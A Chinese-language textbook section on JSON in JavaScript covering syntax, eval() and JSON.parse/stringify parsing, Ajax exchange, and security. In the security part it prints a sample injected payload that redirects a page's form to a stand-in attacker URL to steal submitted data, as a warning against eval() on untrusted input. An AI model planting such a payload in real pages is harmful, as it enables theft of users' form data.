17.3 JSON
虽然 XML 在 Ajax 运动中具有举足轻重的地位,但 JavaScript 开发人员很快就对它失去了兴趣。第15章曾经讨论过,在 JavaScript 中操作 XML 存在严重的跨浏览器问题,而且从 XML 结果中提取数据也要涉及遍历 DOM 文档,而这些操作都需要编写大量的代码。Douglas Crockford 发明了一种名叫 JSON (JavaScript Object Notation,JavaScript 对象表示法) 的数据格式,用以避免使用 XML 数据的麻烦。
JSON 的基础是JavaScript 语法中的一个子集,特别是对象和数组字面量。使用 JSON 能够创建与 XML 相同的数据结构。例如,(1) 一组名-值对可以使用下面这个包含命名属性的对象来表示:
{
"name": "Nicholas C. Zakas",
"title": "Software Engineer",
"author": true,
"age": 29
}
这个例子展示的就是一个包含4个属性的数据对象。每个属性名必须用双引号引起来,而属性的值可以是字符串、数值、布尔值、null、对象或者数组。更重要的是,这个数据对象同时还是 JavaScript 中有效的对象字面量,因此可以将它直接赋值给一个变量,如下面的例子所示:
var person = {
"name": "Nicholas C. Zakas",
"title": "Software Engineer",
"author": true,
"age": 29
};
==== 要注意的是,虽然 JavaScript 不要求给对象的属性加引号,但未加引号的属性在 JSON 中则被视为一个语法错误。====
(2) JSON 使用 JavaScript 中的数组字面量语法来表示数组。来看一个例子:
[1, 2, "color", true, null]
数组中的值可以是字符串、数值、布尔值、null、对象或其他数组。例如,可以像下面这样创建一个描述人的对象数组:
[
{
"name": "Nicholas C. Zakas",
"title": "Software Engineer",
"author": true,
"age": 29
},
{
"name": "Jim Smith",
"title": "Salesperson",
"author": false,
"age": 35
}
]
==== 切记,这些都是纯文本,而不是 JavaScript 代码。====
JSON 的设计意图是在服务器端构建格式化的数据,然后再将数据发送给浏览器。由于 JSON 在 JavaScript 中相当于对象和数组,因此 JSON 字符串可以传递给 eval() 函数,让其解析并返回一个对象或数组的实例。例如,如果将前面的代码保存一个名为 jsonText 的变量中,那么使用以下代码就可以访问其中的数据:
// 求值为一个数组
var people = eval(jsonText);
// 访问数据
alert(people[0].name);
people[1].age = 36;
if (people[0].author) {
alert(people[0].name + " is an author");
}
由于 JSON 结构是被转换为 JavaScript 对象,所以访问这种数据比 XML 方便得多。加上这个转换过程比解析 XML 快,因此 JSON 就成了 XML 的一种很受欢迎的替代格式。
如果你是自己编写代码来对 JSON 求值,最好是将输入的文本放在一对圆括号中。因为 eval() 在对输入的文本求值时,是将其作为 JavaScript 代码而非数据格式来看待的。在对以左花括号开头的对象求值时,就好像是遇到一个没有名字的 JavaScript 语句,结果就会导致错误。将文本放在一对圆括号中可以解决这个问题,因为圆括号表示值而不是语句。来看下面的例子:
var object1 = eval("{}"); // 抛出错误
var object2 = eval("({})"); // 没问题
var object3 = eval("(" + jsonText + ")"); // 通用的解决方案
在这个例子中,第一行代码会抛出错误,因为解释器将花括号看作是未命名的语句。第二行代码将对象字面量放在了圆括号中,因此求值过程很顺利。第三行代码是用来解析任何 JSON 文本的通用的解决方案。
17.3.1 在 Ajax 中使用 JSON
由于转换的速度快,而且便于在 JavaScript 代码中访问,JSON 在Ajax通信中变得越来越受开发人员的追捧。Web 开发社区已经为几乎所有主流的语言都开发了 JSON 解析器和序列化器,使得通过服务器输出和使用的 JSON 数据变得极为容易。Douglas Crockford 自己也维护着一个针对 JavaScript 的 JSON 序列化器/解析器,下载地址为 http://www.json.org/js.html 。此外,IE8 中包含了 Crockford 解析器的原生版本,而 Firefowx 3.1 也将包含该解析器摆上了议事日程。目前,读者也可以下载他的这个 JavaScript 文件,该文件在所有浏览器中都能正常使用。
在 Crockford 的这个 JSON 库中,有一个全局 JSON 对象,这个对象有两个方法: parse() 和 stringify() 。其中,parse() 方法接受两个参数:JSON 文本和一个可选的过滤函数。在传入的文本是有效的 JSON 的情况下,parse() 方法会返回传入数据的一个对象表示。下面是使用 parse() 方法的示例:
var object = JSON.parse("{}");
与直接使用 eval() 不同的是,这里不需要为传入的文本加圆括号 (因为内部会自动处理)。
第二个参数是一个函数,这个函数以一个 JSON 键和值作为参数。要想让作为参数传入的键出现在结果对象中,该函数必须返回一个值。它的返回值将成为结果对象中与指定键关联的值,因此也就为我们重写默认的解析机制提供了机会。换句话说,在这个函数中针对某个键返回 undefined,就会从结果对象中移除该键,如下面的例子所示:
var jsonText = "{\"name\":\"Nicholas C.Zakas\", \"age\":29, \"author\":true }";
var object = JSON.parse(jsonText, function(key, value){
switch(key){
case "age": return value + 1;
case "author": return undefined;
default: return value;
}
});
alert(object.age); // 30
alert(object.author); // undefined
在以上代码中,过滤函数会为每个 "age" 键的值加 1 ,会移除数据中的 "author" 键;其他值则会原样返回。于是,结果对象中的 age 属性就变成了 30,但是却没有 author 属性。这种解析功能经常用于处理服务器返回的数据。假设 addressbook.php 会以下面的格式返回 JSON 数据:
[
{
"name": "Nicholas C. Zakas",
"email": "nicholas@some-domain-name.com"
},
{
"name": "Jim Smith",
"email": "jimsmith@some-domain-name.com",
},
{
"name": "Michael Jones",
"email": "mj@some-domain-name.com"
}
]
可以发送一个 Ajax 请求取得以上数据,然后在客户端使用下列代码生成相应的 <ul/> 元素:
var xhr = createXHR();
xhr.onreadystatechange = function(){
if(xhr.readyState == 4){
if((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304){
var contacts = JSON.parse(xhr.responseText);
var list = document.getElementById("contacts");
for(var i=0, len=contacts.length; i<len; i++){
var li = document.createElement("li");
li.innerHTML = "<a href=\"mailto:" + contacts[i].email + "\">" + contacts[i].name + "</a>";
list.appendChild(li);
}
}
}
};
xhr.open("get", "addressbook.php", true);
xhr.send(null);
JSON 同样也是向服务器发送数据的流行格式。发送数据时,一般会把 JSON 放到 POST 请求主体中,而 JSON 对象的 stringify() 方法正是为此设计的。这个方法接受3个参数:要序列化的对象、可选的替换函数 (用于替换未受支持的 JSON 值) 和可选的缩进说明符 (可以是每个级别缩进的空格数,也可以是用来缩进的字符)。默认情况下,stringify() 返回未经缩进的 JSON 字符串,下面是一个例子:
var contact = {
name: "Nicholas C. Zakas",
email: "nicholas@some-domain"
};
var jsonText = JSON.stringify(contact);
alert(jsonText);
这个例子中的警告框会显示下列未经缩进的字符串:
{\"name\":\"Nicholas C. Zakas\",\"email\":\"nicholas@some-domain-name.com \"}
由于并不是所有 JavaScript 值都可以使用 JSON 表示,因此结果中只会包含那些正式得到支持的值。例如,函数和 undefined 值无法通过 JSON 表示,包含它们的任何键默认都将被移除。要改变这个默认的行为,可以在第二个参数的位置上传入一个函数。在序列化过程中每当遇到一个不支持的数据类型时,该函数就会在序列化的对象的作用域中运行,其参数是相应的键和值。对于 JSON 支持的数据类型,序列化过程中不会调用这个函数,这些类型包括:字符串、数值、布尔值、null、对象、数组和 Date (最后一个将被转换成日期的字符串形式)。来看一个例子:
var jsonText = JSON.stringify([new Function()], function(key, value){
if(value instanceof Function){
return "(function)";
}else {
return value;
}
});
alert(jsonText); // "[(function)]"
这个例子试图序列化一个包含函数的数组。当遇到函数值时,第二个参数 (即过滤函数) 会将它转换为字符串 "(function)" ,该字符串将出现在最终结果中。
使用 POST 请求并将 JSON 文本传递给 send() 方法,可以将 JSON 数据发送给服务器。来看下面的例子:
var xhr = createXHR();
var contact = {
name: "Ted Jones",
email: "tedjones@some-other-domain.com"
};
xhr.onreadystatechange = function(){
if(xhr.readyState == 4){
if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304){
alert(xhr.responseText);
}
}
};
xhr.open("post", "addcontact.php", true);
xhr.send(JSON.stringify(contact));
这个例子是要将新联系人信息保存到服务器,因此要将数据发送给 addcontact.php 文件。在根据新联系人信息构建好 contact 对象后,又将它序列化为 JSON 数据并传递给 send() 方法。服务器上的 PHP 页面负责将接收到的 JSON 数据解析回原来的格式,以便服务器端代码能够理解;同时还会向浏览器发送响应。
17.3.2 安全
虽然解析速度是 JSON 的一个重要优势,但 JSON 也有一个明显的缺点:它使用 eval()。我们知道,eval() 函数不仅可以用来解析 JSON 数据,它还可以解释任何 JavaScript 代码。而这就暴露出了一个巨大的安全漏洞。不怀好意的人因此就可以注入与预期 JSON 结构相符的 JavaScript 代码,而该代码传入 eval() 之后就会被执行。来看下面的例子:
[1, 2, (function(){
// 将表单的 action 特性设置为另一个 URL
document.forms[0].action = "http://paht.to.a.bad.com/stealdata.php";
})(), 3, 4]
在这个例子中,响应的文本包含一个匿名函数,这个函数会修改页面中的第一个表单的 action 特性,导致表单在提交时,所有数据都会被提交给一个不同的服务器。在不过滤 JSON 数据就直接将其传递给 eval() 的情况下,很有可能受到这种 XSS 攻击。问题在于,服务器返回的任何 JavaScript 代码在被传递给 eval() 以后,都会在页面的上下文中求值,这实际上就摆脱了为不同资源而设置的一切安全机制。恶意脚本在页面中就像一类成员一样运行,因而可以操作页面中的一切。
Crockford 的 JavaScript JSON 库可以妥当地解析 JSON 字符串,能够确保在将 JSON 转换为 JavaScript 对象时,过滤掉其中包含的恶意代码。我们建议读者在处理 JSON 数据的时候,一定要使用这个库或者其他与之类似的库,以尽量降低遭受代码注入式 XSS 攻击的可能性。
一般来说,应该绝对避免将服务器返回的 JavaScript 代码传入 eval() 函数中。无论使用 JSON 还是 JavaScript ,都有极大可能遭遇恶意拦截和代码注入。因此,对从服务器接收到的任何数据,在将其传入 eval() 之前,必须保证经过适当的分析和验证。